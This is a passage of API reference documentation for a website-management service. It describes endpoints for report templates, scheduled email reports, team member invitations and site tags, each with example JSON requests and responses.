      "site_ids": [],
      "name": "Security Summary Report",
      "created_at": "2026-02-18T14:30:00Z",
      "updated_at": "2026-02-19T08:45:00Z"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 429

#### Create report template

`POST /report-templates`  
Operation ID: `createReportTemplate`

Creates a user-created report template with report appearance, included
sections, section order, and email settings.

Use this when report contents and email settings should be reusable for
one-time reports or scheduled reports.

A successful response returns the created report template with editable
report appearance, sections, section order, email settings, and site IDs.

Request body (required): `application/json`

Required fields: `report_template`

```json
{
  "report_template": {
    "name": "Monthly Website Report",
    "general": {
      "primary_color": "#2F80ED",
      "language": "en",
      "date_format": "DD/MM/YYYY"
    },
    "sections": {
      "cover": {
        "visible": true,
        "heading": "Website Report",
        "dynamic_data": {
          "logo": {
            "option": "default"
          },
          "cover_image": {
            "option": "default"
          }
        }
      }
    },
    "section_order": [
      "cover"
    ],
    "email": {
      "sender_email": null,
      "subject": "Monthly Website Report",
      "body": "Please find your report attached.",
      "attach_pdf": true
    }
  }
}
```

Successful responses:

- **201** — Report template created successfully.

```json
{
  "report_template": {
    "id": "nR4eJk7pLm2xWc8vYs5fTd9a",
    "name": "Monthly Website Report",
    "site_ids": [],
    "general": {
      "primary_color": "#2F80ED",
      "language": "en",
      "date_format": "DD/MM/YYYY"
    },
    "sections": {
      "cover": {
        "visible": true,
        "heading": "Website Report",
        "dynamic_data": {
          "logo": {
            "option": "default"
          },
          "cover_image": {
            "option": "default"
          }
        }
      }
    },
    "section_order": [
      "cover"
    ],
    "email": {
      "sender_email": null,
      "subject": "Monthly Website Report",
      "body": "Please find your report attached.",
      "attach_pdf": true
    },
    "created_at": "2026-02-20T09:15:00Z",
    "updated_at": "2026-02-20T09:15:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Show report template

`GET /report-templates/{report_template_id}`  
Operation ID: `showReportTemplate`

Returns one user-created report template from your account with its full
report appearance, sections, section order, and email settings.

Use this when you need to review or reuse one template's report contents
and email settings.

A successful response returns the requested report template.

Parameters:

- `report_template_id` (path, required, string) — Report template ID returned in report template lists and details.

Successful responses:

- **200** — Report template returned successfully.

```json
{
  "report_template": {
    "id": "nR4eJk7pLm2xWc8vYs5fTd9a",
    "name": "Monthly Website Report",
    "site_ids": [
      "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1"
    ],
    "general": {
      "primary_color": "#2F80ED",
      "language": "en",
      "date_format": "DD/MM/YYYY"
    },
    "sections": {
      "cover": {
        "visible": true,
        "heading": "Website Report",
        "dynamic_data": {
          "logo": {
            "option": "default"
          },
          "cover_image": {
            "option": "default"
          }
        }
      }
    },
    "section_order": [
      "cover"
    ],
    "email": {
      "sender_email": {
        "id": "sE8nK5xR2mL7pQ4vT6hY9bFd",
        "email": "reports@example.com"
      },
      "subject": "Monthly Website Report",
      "body": "Please find your report attached.",
      "attach_pdf": true
    },
    "created_at": "2026-02-20T09:15:00Z",
    "updated_at": "2026-02-20T09:15:00Z"
  }
}
```

Errors: 401, 403, 404, 429

#### Update report template

`POST /report-templates/{report_template_id}/update`  
Operation ID: `updateReportTemplate`

Updates a user-created report template's report appearance, included
sections, section order, or email settings.

Use this when a reusable report template needs different report contents,
appearance, or email settings for future one-time reports or scheduled
reports.

A successful response returns the updated report template.

Parameters:

- `report_template_id` (path, required, string) — Report template ID returned in report template lists and details.

Request body (required): `application/json`

Required fields: `report_template`

```json
{
  "report_template": {
    "name": "Monthly Website Report",
    "general": {
      "primary_color": "#2F80ED",
      "language": "en",
      "date_format": "DD/MM/YYYY"
    },
    "sections": {
      "cover": {
        "visible": true,
        "heading": "Website Report",
        "dynamic_data": {
          "logo": {
            "option": "default"
          },
          "cover_image": {
            "option": "default"
          }
        }
      }
    },
    "section_order": [
      "cover"
    ],
    "email": {
      "sender_email": {
        "id": "sE8nK5xR2mL7pQ4vT6hY9bFd"
      },
      "subject": "Monthly Website Report",
      "body": "Please find your report attached.",
      "attach_pdf": true
    }
  }
}
```

Successful responses:

- **200** — Report template returned successfully.

```json
{
  "report_template": {
    "id": "nR4eJk7pLm2xWc8vYs5fTd9a",
    "name": "Monthly Website Report",
    "site_ids": [
      "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1"
    ],
    "general": {
      "primary_color": "#2F80ED",
      "language": "en",
      "date_format": "DD/MM/YYYY"
    },
    "sections": {
      "cover": {
        "visible": true,
        "heading": "Website Report",
        "dynamic_data": {
          "logo": {
            "option": "default"
          },
          "cover_image": {
            "option": "default"
          }
        }
      }
    },
    "section_order": [
      "cover"
    ],
    "email": {
      "sender_email": {
        "id": "sE8nK5xR2mL7pQ4vT6hY9bFd",
        "email": "reports@example.com"
      },
      "subject": "Monthly Website Report",
      "body": "Please find your report attached.",
      "attach_pdf": true
    },
    "created_at": "2026-02-20T09:15:00Z",
    "updated_at": "2026-02-20T09:15:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Delete report templates

`POST /report-templates/delete`  
Operation ID: `deleteReportTemplates`

Deletes selected user-created report templates.

Use this when templates are no longer needed. The response shows which
IDs were deleted and which IDs could not be deleted.

Templates used by active or paused scheduled reports are reported with
`template_in_use`.

A successful response returns the delete result and counts.

Request body (required): `application/json`

Required fields: `ids`

```json
{
  "ids": [
    "nR4eJk7pLm2xWc8vYs5fTd9a",
    "mK8pQ2xZw7nRv4sLt9yHb3c",
    "vWs9nL4pKx7mQc2dR8fTy5h"
  ]
}
```

Successful responses:

- **200** — Report template delete request processed successfully.

```json
{
  "delete": {
    "ids": [
      "nR4eJk7pLm2xWc8vYs5fTd9a"
    ],
    "errors": [
      {
        "id": "mK8pQ2xZw7nRv4sLt9yHb3c",
        "code": "not_found",
        "message": "Report template not found"
      },
      {
        "id": "vWs9nL4pKx7mQc2dR8fTy5h",
        "code": "template_in_use",
        "message": "Template is in use by a scheduled report"
      }
    ]
  },
  "meta": {
    "requested": 3,
    "succeeded": 1,
    "failed": 2
  }
}
```

Errors: 400, 401, 403, 429

### Scheduled Reports

#### List scheduled reports

`GET /scheduled-reports`  
Operation ID: `listScheduledReports`

Returns active and paused scheduled reports in your account for sites
available to you. Each item includes the site, title, template ID,
status, frequency, timezone, next report time, and recipient email
addresses.

Use this list to review recurring report schedules, find a scheduled
report to update, pause, resume, or delete, or check which site and
recipients each schedule uses.

A successful response returns a paginated list of scheduled reports.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `site_id`, `status`, `frequency`, `created_at`
- Supported operators:
  - `eq`: `site_id`, `status`, `frequency`
  - `gte`: `created_at`
  - `lte`: `created_at`
- Supported status values for matching: `active`, `paused`
- Supported frequency values for matching: `weekly`, `biweekly`, `monthly`
- Use ISO 8601 timestamps for `created_at` filters
- `timezone` applies to `created_at` filters
- Example: `filters[status:eq]=active`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `created_at`, `next_report_at`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `created_at,desc`
- Example: `sort=next_report_at,asc`

Parameters:

- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `timezone` (query, optional, string) — Timezone name used to interpret supported timestamp filters, such as `UTC` or `Asia/Kolkata`. Defaults to UTC.
- `sort` (query, optional, string) — Sort order for returned scheduled reports.
- `filters` (query, optional, object) — Filters applied to returned scheduled reports.

Successful responses:

- **200** — Scheduled reports returned successfully.

```json
{
  "scheduled_reports": [
    {
      "id": "qF3dKm8nRx2wJc6vPs9eTy5h",
      "site": {
        "id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
        "title": "Example Site",
        "url": "https://example.com"
      },
      "title": "Weekly Website Report",
      "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a",
      "status": "active",
      "frequency": "weekly",
      "timezone": "UTC",
      "started_at": "2026-03-10T09:00:00Z",
      "next_report_at": "2026-03-17T09:00:00Z",
      "email": {
        "recipients": [
          "user@example.com"
        ]
      },
      "created_at": "2026-03-02T10:00:00Z",
      "updated_at": "2026-03-02T10:00:00Z"
    },
    {
      "id": "mN8pQr4sTu6vWx2yZa9bCd3e",
      "site": {
        "id": "7ae1c4b8d3f24a19b6c5e8f901234567",
        "title": "Storefront Site",
        "url": "https://store.example.com"
      },
      "title": "Monthly Website Report",
      "template_id": "kP8tYs4vWq6xNc2mRb9eFd1g",
      "status": "paused",
      "frequency": "monthly",
      "timezone": "UTC",
      "started_at": "2026-03-05T09:00:00Z",
      "next_report_at": "2026-04-05T09:00:00Z",
      "email": {
        "recipients": [
          "owner@example.com",
          "reports@example.com"
        ]
      },
      "created_at": "2026-03-01T10:00:00Z",
      "updated_at": "2026-03-03T12:30:00Z"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 429

#### Create scheduled report

`POST /scheduled-reports`  
Operation ID: `createScheduledReport`

Creates an active scheduled report for a site available to you.

Use this when a site needs reports generated and emailed on a recurring
schedule.

The site can have at most one active or paused scheduled report.

A successful response returns the created scheduled report with editable
report contents and email delivery settings.

Request body (required): `application/json`

Required fields: `scheduled_report`

```json
{
  "scheduled_report": {
    "site_id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
    "timezone": "UTC",
    "started_at": "2026-03-10T09:00:00Z",
    "frequency": "weekly",
    "report_template_data": {
      "general": {
        "primary_color": "#2F80ED",
        "language": "en",
        "date_format": "DD/MM/YYYY"
      },
      "sections": {
        "cover": {
          "visible": true,
          "heading": "Website Report",
          "dynamic_data": {
            "logo": {
              "option": "default"
            },
            "cover_image": {
              "option": "default"
            }
          }
        }
      },
      "section_order": [
        "cover"
      ],
      "email": {
        "sender_email": null,
        "subject": "Weekly Website Report",
        "body": "Please find your report attached.",
        "attach_pdf": true,
        "send_to_client": false,
        "recipients": [
          "user@example.com"
        ]
      }
    }
  }
}
```

Successful responses:

- **201** — Scheduled report created successfully.

```json
{
  "scheduled_report": {
    "id": "qF3dKm8nRx2wJc6vPs9eTy5h",
    "site": {
      "id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
      "title": "Example Site",
      "url": "https://example.com"
    },
    "title": "Weekly Website Report",
    "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a",
    "status": "active",
    "frequency": "weekly",
    "timezone": "UTC",
    "started_at": "2026-03-10T09:00:00Z",
    "next_report_at": "2026-03-17T09:00:00Z",
    "report_template_data": {
      "general": {
        "primary_color": "#2F80ED",
        "language": "en",
        "date_format": "DD/MM/YYYY"
      },
      "sections": {
        "cover": {
          "visible": true,
          "heading": "Website Report",
          "dynamic_data": {
            "logo": {
              "option": "default"
            },
            "cover_image": {
              "option": "default"
            }
          }
        }
      },
      "section_order": [
        "cover"
      ],
      "email": {
        "sender_email": null,
        "subject": "Weekly Website Report",
        "body": "Please find your report attached.",
        "attach_pdf": true,
        "send_to_client": false,
        "recipients": [
          "user@example.com"
        ]
      }
    },
    "created_at": "2026-03-01T10:00:00Z",
    "updated_at": "2026-03-01T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Show scheduled report

`GET /scheduled-reports/{scheduled_report_id}`  
Operation ID: `showScheduledReport`

Returns one active or paused scheduled report for a site available to
you, including editable report contents and email delivery settings.

Use this when you need the current schedule details before updating,
pausing, resuming, or deleting it.

A successful response returns the requested scheduled report.

Parameters:

- `scheduled_report_id` (path, required, string) — Scheduled report ID returned in scheduled report lists and details.

Successful responses:

- **200** — Scheduled report returned successfully.

```json
{
  "scheduled_report": {
    "id": "qF3dKm8nRx2wJc6vPs9eTy5h",
    "site": {
      "id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
      "title": "Example Site",
      "url": "https://example.com"
    },
    "title": "Weekly Website Report",
    "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a",
    "status": "active",
    "frequency": "weekly",
    "timezone": "UTC",
    "started_at": "2026-03-10T09:00:00Z",
    "next_report_at": "2026-03-17T09:00:00Z",
    "report_template_data": {
      "general": {
        "primary_color": "#2F80ED",
        "language": "en",
        "date_format": "DD/MM/YYYY"
      },
      "sections": {
        "cover": {
          "visible": true,
          "heading": "Website Report",
          "dynamic_data": {
            "logo": {
              "option": "default"
            },
            "cover_image": {
              "option": "default"
            }
          }
        }
      },
      "section_order": [
        "cover"
      ],
      "email": {
        "sender_email": null,
        "subject": "Weekly Website Report",
        "body": "Please find your report attached.",
        "attach_pdf": true,
        "send_to_client": false,
        "recipients": [
          "user@example.com"
        ]
      }
    },
    "created_at": "2026-03-01T10:00:00Z",
    "updated_at": "2026-03-01T10:00:00Z"
  }
}
```

Errors: 401, 403, 404, 429

#### Delete scheduled report

`DELETE /scheduled-reports/{scheduled_report_id}`  
Operation ID: `deleteScheduledReport`

Deletes one scheduled report.

Use this when a site should stop generating reports from this recurring
schedule.

A successful response removes the scheduled report and returns no
response body.

Parameters:

- `scheduled_report_id` (path, required, string) — Scheduled report ID returned in scheduled report lists and details.

Successful responses:

- **204** — Scheduled report deleted successfully. No response body is returned.

Errors: 401, 403, 404, 422, 429

#### Update scheduled report

`POST /scheduled-reports/{scheduled_report_id}/update`  
Operation ID: `updateScheduledReport`

Updates one scheduled report's timing, frequency, template, report
contents, or email delivery settings.

Use this when the recurring report schedule, selected template, report
contents, or email delivery settings need to change.

Use `pause` or `resume` to change `status`.

A successful response returns the updated scheduled report.

Parameters:

- `scheduled_report_id` (path, required, string) — Scheduled report ID returned in scheduled report lists and details.

Request body (required): `application/json`

Required fields: `scheduled_report`

```json
{
  "scheduled_report": {
    "timezone": "UTC",
    "started_at": "2026-03-10T09:00:00Z",
    "frequency": "monthly",
    "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a",
    "report_template_data": {
      "general": {
        "primary_color": "#2F80ED",
        "language": "en",
        "date_format": "DD/MM/YYYY"
      },
      "sections": {
        "cover": {
          "visible": true,
          "heading": "Website Report",
          "dynamic_data": {
            "logo": {
              "option": "default"
            },
            "cover_image": {
              "option": "default"
            }
          }
        }
      },
      "section_order": [
        "cover"
      ],
      "email": {
        "sender_email": {
          "id": "sE8nK5xR2mL7pQ4vT6hY9bFd"
        },
        "subject": "Monthly Website Report",
        "body": "Please find your report attached.",
        "attach_pdf": true,
        "send_to_client": false,
        "recipients": [
          "user@example.com"
        ]
      }
    }
  }
}
```

Successful responses:

- **200** — Scheduled report returned successfully.

```json
{
  "scheduled_report": {
    "id": "qF3dKm8nRx2wJc6vPs9eTy5h",
    "site": {
      "id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
      "title": "Example Site",
      "url": "https://example.com"
    },
    "title": "Weekly Website Report",
    "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a",
    "status": "active",
    "frequency": "weekly",
    "timezone": "UTC",
    "started_at": "2026-03-10T09:00:00Z",
    "next_report_at": "2026-03-17T09:00:00Z",
    "report_template_data": {
      "general": {
        "primary_color": "#2F80ED",
        "language": "en",
        "date_format": "DD/MM/YYYY"
      },
      "sections": {
        "cover": {
          "visible": true,
          "heading": "Website Report",
          "dynamic_data": {
            "logo": {
              "option": "default"
            },
            "cover_image": {
              "option": "default"
            }
          }
        }
      },
      "section_order": [
        "cover"
      ],
      "email": {
        "sender_email": null,
        "subject": "Weekly Website Report",
        "body": "Please find your report attached.",
        "attach_pdf": true,
        "send_to_client": false,
        "recipients": [
          "user@example.com"
        ]
      }
    },
    "created_at": "2026-03-01T10:00:00Z",
    "updated_at": "2026-03-01T10:00:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Pause scheduled report

`POST /scheduled-reports/{scheduled_report_id}/pause`  
Operation ID: `pauseScheduledReport`

Pauses one active scheduled report.

Use this when recurring reports should stop temporarily without deleting
the schedule.

A successful response returns the scheduled report with `status: paused`.

Parameters:

- `scheduled_report_id` (path, required, string) — Scheduled report ID returned in scheduled report lists and details.

Successful responses:

- **200** — Scheduled report paused successfully.

```json
{
  "scheduled_report": {
    "id": "qF3dKm8nRx2wJc6vPs9eTy5h",
    "site": {
      "id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
      "title": "Example Site",
      "url": "https://example.com"
    },
    "title": "Weekly Website Report",
    "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a",
    "status": "paused",
    "frequency": "weekly",
    "timezone": "UTC",
    "started_at": "2026-03-10T09:00:00Z",
    "next_report_at": "2026-03-17T09:00:00Z",
    "report_template_data": {
      "general": {
        "primary_color": "#2F80ED",
        "language": "en",
        "date_format": "DD/MM/YYYY"
      },
      "sections": {
        "cover": {
          "visible": true,
          "heading": "Website Report",
          "dynamic_data": {
            "logo": {
              "option": "default"
            },
            "cover_image": {
              "option": "default"
            }
          }
        }
      },
      "section_order": [
        "cover"
      ],
      "email": {
        "sender_email": null,
        "subject": "Weekly Website Report",
        "body": "Please find your report attached.",
        "attach_pdf": true,
        "send_to_client": false,
        "recipients": [
          "user@example.com"
        ]
      }
    },
    "created_at": "2026-03-01T10:00:00Z",
    "updated_at": "2026-03-02T10:15:00Z"
  }
}
```

Errors: 401, 403, 404, 422, 429

#### Resume scheduled report

`POST /scheduled-reports/{scheduled_report_id}/resume`  
Operation ID: `resumeScheduledReport`

Resumes one paused scheduled report.

Use this when recurring reports should start again after a pause.

A successful response returns the scheduled report with `status: active`.

Parameters:

- `scheduled_report_id` (path, required, string) — Scheduled report ID returned in scheduled report lists and details.

Successful responses:

- **200** — Scheduled report resumed successfully.

```json
{
  "scheduled_report": {
    "id": "qF3dKm8nRx2wJc6vPs9eTy5h",
    "site": {
      "id": "9bf3c2e7a1b24c6d8e9f0123456789ab",
      "title": "Example Site",
      "url": "https://example.com"
    },
    "title": "Weekly Website Report",
    "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a",
    "status": "active",
    "frequency": "weekly",
    "timezone": "UTC",
    "started_at": "2026-03-10T09:00:00Z",
    "next_report_at": "2026-03-17T09:00:00Z",
    "report_template_data": {
      "general": {
        "primary_color": "#2F80ED",
        "language": "en",
        "date_format": "DD/MM/YYYY"
      },
      "sections": {
        "cover": {
          "visible": true,
          "heading": "Website Report",
          "dynamic_data": {
            "logo": {
              "option": "default"
            },
            "cover_image": {
              "option": "default"
            }
          }
        }
      },
      "section_order": [
        "cover"
      ],
      "email": {
        "sender_email": null,
        "subject": "Weekly Website Report",
        "body": "Please find your report attached.",
        "attach_pdf": true,
        "send_to_client": false,
        "recipients": [
          "user@example.com"
        ]
      }
    },
    "created_at": "2026-03-01T10:00:00Z",
    "updated_at": "2026-03-02T10:20:00Z"
  }
}
```

Errors: 401, 403, 404, 422, 429

### Teams

#### List team members

`GET /team-members`  
Operation ID: `listTeamMembers`

Returns team members who can access your account now and invitations still
waiting for acceptance. Each item shows role, status, site access, contact
details, and two-factor status when available.

Use this list to review account access, find an invitation to resend, or
choose a team member or invitation to update or remove.

`connected` means the person can access the account now. `pending` means
the invitation has not been accepted yet.

A successful response returns a paginated list of team members and
invitations.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `name`, `email`, `role`, `two_fa_enabled`, `status`, `company_name`, `created_at`, `updated_at`
- Supported operators:
  - `contains`: `name`, `email`, `company_name`
  - `eq`: `role`, `two_fa_enabled`, `status`
  - `gte`: `created_at`, `updated_at`
  - `lte`: `created_at`, `updated_at`
- Supported role values for matching: `collaborator`, `administrator`, `co_owner`
- Supported status values for matching: `connected`, `pending`
- Boolean filters accept `true` or `false`
- `two_fa_enabled:eq=false` also includes invitations that have not been accepted yet.
- Use ISO 8601 timestamps for `created_at` and `updated_at` filters
- `timezone` applies to `created_at` filters
- Example: `filters[role:eq]=administrator`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `created_at`, `updated_at`, `name`, `email`, `role`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `created_at,desc`
- Example: `sort=created_at,desc`

Parameters:

- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `timezone` (query, optional, string) — Timezone name used to interpret supported timestamp filters, such as `UTC` or `Asia/Kolkata`. Defaults to UTC.
- `sort` (query, optional, string) — Sort order for returned team members and invitations.
- `filters` (query, optional, object) — Filters applied to returned team members and invitations.

Successful responses:

- **200** — Team members and invitations returned successfully.

```json
{
  "team_members": [
    {
      "id": "hY2nK8xR5mL3pQ7vT9wJ4bFc",
      "name": "Jane Doe",
      "email": "jane@example.com",
      "role": "administrator",
      "company_name": "Acme Inc",
      "status": "connected",
      "all_sites_access": true,
      "site_ids": [
        "9bf3c2e7a1b24c6d8e9f0123456789ab",
        "a4d8f2c1b6e94d0a8f73c2e5d1b9a604"
      ],
      "two_fa_enabled": true,
      "note": "Primary manager",
      "created_at": "2026-02-20T10:00:00Z",
      "updated_at": "2026-02-28T08:30:00Z"
    },
    {
      "id": "nX6mK4xQ9pL2wJ8vT5hY7bFe",
      "name": "Alex Smith",
      "email": "alex@example.com",
      "role": "collaborator",
      "company_name": "Acme Inc",
      "status": "pending",
      "all_sites_access": false,
      "site_ids": [
        "9bf3c2e7a1b24c6d8e9f0123456789ab"
      ],
      "two_fa_enabled": false,
      "note": "Handles SEO updates",
      "created_at": "2026-02-28T09:00:00Z",
      "updated_at": "2026-02-28T09:00:00Z"
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 429

#### Create team member invitation

`POST /team-members`  
Operation ID: `createTeamMember`

Creates a team member invitation and sends it to the provided email
address. The invitation defines the role and site access the person will
receive after accepting.

Use this when someone needs access to help manage all sites or selected
sites in your account.

The invitation starts with `status: pending` until the recipient accepts
it.

A successful response returns the pending invitation.

Request body (required): `application/json`

Required fields: `team_member`

```json
{
  "team_member": {
    "name": "Alex Smith",
    "email": "alex@example.com",
    "role": "collaborator",
    "company_name": "Acme Inc",
    "all_sites_access": false,
    "note": "Handles SEO updates",
    "site_ids": [
      "9bf3c2e7a1b24c6d8e9f0123456789ab"
    ]
  }
}
```

Successful responses:

- **201** — Team member invitation created successfully.

```json
{
  "team_member": {
    "id": "nX6mK4xQ9pL2wJ8vT5hY7bFe",
    "name": "Alex Smith",
    "email": "alex@example.com",
    "role": "collaborator",
    "company_name": "Acme Inc",
    "status": "pending",
    "all_sites_access": false,
    "site_ids": [
      "9bf3c2e7a1b24c6d8e9f0123456789ab"
    ],
    "two_fa_enabled": false,
    "note": "Handles SEO updates",
    "created_at": "2026-02-28T09:00:00Z",
    "updated_at": "2026-02-28T09:00:00Z"
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Show team member

`GET /team-members/{team_member_id}`  
Operation ID: `showTeamMember`

Returns one connected team member or one pending invitation, including
role, status, site access, contact details, note, and two-factor status.

Use this when reviewing a person's current access before updating,
removing, or resending an invitation.

A successful response returns the requested team member or invitation.

Parameters:

- `team_member_id` (path, required, string) — Team member or invitation ID returned in team member lists and details.

Successful responses:

- **200** — Team member or invitation returned successfully.

```json
{
  "team_member": {
    "id": "hY2nK8xR5mL3pQ7vT9wJ4bFc",
    "name": "Jane Doe",
    "email": "jane@example.com",
    "role": "administrator",
    "company_name": "Acme Inc",
    "status": "connected",
    "all_sites_access": true,
    "site_ids": [
      "9bf3c2e7a1b24c6d8e9f0123456789ab",
      "a4d8f2c1b6e94d0a8f73c2e5d1b9a604"
    ],
    "two_fa_enabled": true,
    "note": "Primary manager",
    "created_at": "2026-02-20T10:00:00Z",
    "updated_at": "2026-02-28T08:30:00Z"
  }
}
```

Errors: 401, 403, 404, 429

#### Delete team member

`DELETE /team-members/{team_member_id}`  
Operation ID: `deleteTeamMember`

Removes access for a connected team member or cancels a pending
invitation.

Use this when a member should no longer be able to access your account, or
when a pending invitation should be withdrawn.

A successful response returns no response body.

Parameters:

- `team_member_id` (path, required, string) — Team member or invitation ID returned in team member lists and details.

Successful responses:

- **204** — Team member access or invitation was removed. No response body is returned.

Errors: 401, 403, 404, 429

#### Update team member

`POST /team-members/{team_member_id}/update`  
Operation ID: `updateTeamMember`

Updates a connected team member or pending invitation. You can change
display details, role, note, or site access.

Use this when permissions or profile details need to change.

If a pending invitation is updated, it is replaced and the response
includes the new team member ID for later requests.

A successful response returns the updated team member or invitation.

Parameters:

- `team_member_id` (path, required, string) — Team member or invitation ID returned in team member lists and details.

Request body (required): `application/json`

Required fields: `team_member`

```json
{
  "team_member": {
    "name": "Jane Doe",
    "role": "administrator",
    "company_name": "Acme Inc",
    "note": "Primary manager",
    "all_sites_access": true
  }
}
```

Successful responses:

- **200** — Team member or invitation updated successfully.

```json
{
  "team_member": {
    "id": "hY2nK8xR5mL3pQ7vT9wJ4bFc",
    "name": "Jane Doe",
    "email": "jane@example.com",
    "role": "administrator",
    "company_name": "Acme Inc",
    "status": "connected",
    "all_sites_access": true,
    "site_ids": [
      "9bf3c2e7a1b24c6d8e9f0123456789ab",
      "a4d8f2c1b6e94d0a8f73c2e5d1b9a604"
    ],
    "two_fa_enabled": true,
    "note": "Primary manager",
    "created_at": "2026-02-20T10:00:00Z",
    "updated_at": "2026-02-28T11:10:00Z"
  }
}
```

Errors: 400, 401, 403, 404, 422, 429

#### Resend invitation

`POST /team-members/{team_member_id}/resend-invitation`  
Operation ID: `resendTeamMemberInvitation`

Requests a new email for a pending invitation.

Use this when the recipient needs another invitation link.

Resending replaces the existing invitation, so use the returned team
member ID for later requests.

A successful response returns the new pending invitation.

Parameters:

- `team_member_id` (path, required, string) — Pending invitation ID returned in team member lists and details.

Successful responses:

- **200** — Invitation resent successfully.

```json
{
  "team_member": {
    "id": "qW8nK2xR6mL4pJ5vT3hY9bFd",
    "name": "Alex Smith",
    "email": "alex@example.com",
    "role": "collaborator",
    "company_name": "Acme Inc",
    "status": "pending",
    "all_sites_access": false,
    "site_ids": [
      "9bf3c2e7a1b24c6d8e9f0123456789ab"
    ],
    "two_fa_enabled": false,
    "note": "Invitation resent",
    "created_at": "2026-02-28T09:00:00Z",
    "updated_at": "2026-02-28T11:30:00Z"
  }
}
```

Errors: 401, 403, 404, 422, 429

### Tags

#### List tags

`GET /tags`  
Operation ID: `listTags`

Returns tags in your account with display names, colors, and assigned site
IDs. Assigned site IDs are limited to sites available to you.

Use this list to review site groupings, find a tag to update, or check
current site assignments.

A successful response returns a paginated list of tags.

**Filtering**
- Format: `filters[field:operator]=value`
- Allowed fields: `name`, `color`, `created_at`, `updated_at`, `site_id`
- Supported operators:
  - `eq`: `name`, `color`
  - `contains`: `name`
  - `gte`: `created_at`, `updated_at`
  - `lte`: `created_at`, `updated_at`
  - `in`: `site_id`
- `site_id:in` must use array syntax, for example `filters[site_id:in][]=<site_id>`
- Use ISO 8601 timestamps for `created_at` and `updated_at` filters
- `timezone` applies to `created_at` filters
- Example: `filters[name:contains]=Production`

**Sorting**
- Format: `sort=field,direction`
- Sortable fields: `name`, `color`, `created_at`, `updated_at`
- Supported directions: `asc` (ascending), `desc` (descending)
- Default: `created_at,desc`
- Example: `sort=created_at,desc`

Parameters:

- `page` (query, optional, integer) — Page number. Defaults to 1.
- `perPage` (query, optional, integer) — Number of items per page (max 100, default 100).
- `timezone` (query, optional, string) — Timezone name used to interpret supported timestamp filters, such as `UTC` or `Asia/Kolkata`. Defaults to UTC.
- `sort` (query, optional, string) — Sort order for returned tags.
- `filters` (query, optional, object) — Filters applied to returned tags.

Successful responses:

- **200** — Tags returned successfully.

```json
{
  "tags": [
    {
      "id": "428",
      "name": "Production",
      "color": "#00ff00",
      "created_at": "2026-01-10T10:00:00Z",
      "updated_at": "2026-01-11T10:00:00Z",
      "site_ids": [
        "9bf3c2e7a1b24c6d8e9f0123456789ab",
        "a4d8f2c1b6e94d0a8f73c2e5d1b9a604"
      ]
    },
    {
      "id": "429",
      "name": "Staging",
      "color": null,
      "created_at": "2026-01-09T08:00:00Z",
      "updated_at": "2026-01-09T08:00:00Z",
      "site_ids": []
    }
  ],
  "meta": {
    "pagination": {
      "page": 1,
      "perPage": 100,
      "totalPages": 1,
      "totalItems": 2
    }
  }
}
```

Errors: 400, 401, 403, 429

#### Create tag

`POST /tags`  
Operation ID: `createTag`

Creates a tag that can be assigned to WordPress sites available to you.

Use this when you need a reusable label for grouping sites.

A successful response returns the tag with its assigned site IDs.

Request body (required): `application/json`

Required fields: `tag`

```json
{
  "tag": {
    "name": "Production",
    "color": "#00ff00"
  }
}
```

Successful responses:

- **201** — Tag created successfully.

```json
{
  "tag": {
    "id": "428",
    "name": "Production",
    "color": "#00ff00",
    "created_at": "2026-01-10T10:00:00Z",
    "updated_at": "2026-01-10T10:00:00Z",
    "site_ids": []
  }
}
```

Errors: 400, 401, 403, 422, 429

#### Show tag

`GET /tags/{tag_id}`  
Operation ID: `showTag`

Returns one tag with display name, color, and assigned site IDs. Assigned
site IDs are limited to sites available to you.

Use this when you need to view the tag's current site assignments.

A successful response returns the requested tag.

Parameters:

- `tag_id` (path, required, string) — Tag ID returned in tag lists and details. Tag IDs are numeric strings.

Successful responses:

- **200** — Tag returned successfully.

```json
{
  "tag": {
    "id": "428",
    "name": "Production",
    "color": "#00ff00",
    "created_at": "2026-01-10T10:00:00Z",
    "updated_at": "2026-01-11T10:00:00Z",
    "site_ids": [
      "9bf3c2e7a1b24c6d8e9f0123456789ab"
    ]
  }
}
```

Errors: 401, 403, 404, 429

#### Delete tag

`DELETE /tags/{tag_id}`  
Operation ID: `deleteTag`

Deletes a tag and clears all site assignments.

Use this when the tag should no longer be used for grouping sites.

A successful response returns no response body.

Parameters:

- `tag_id` (path, required, string) — Tag ID returned in tag lists and details. Tag IDs are numeric strings.

Successful responses:

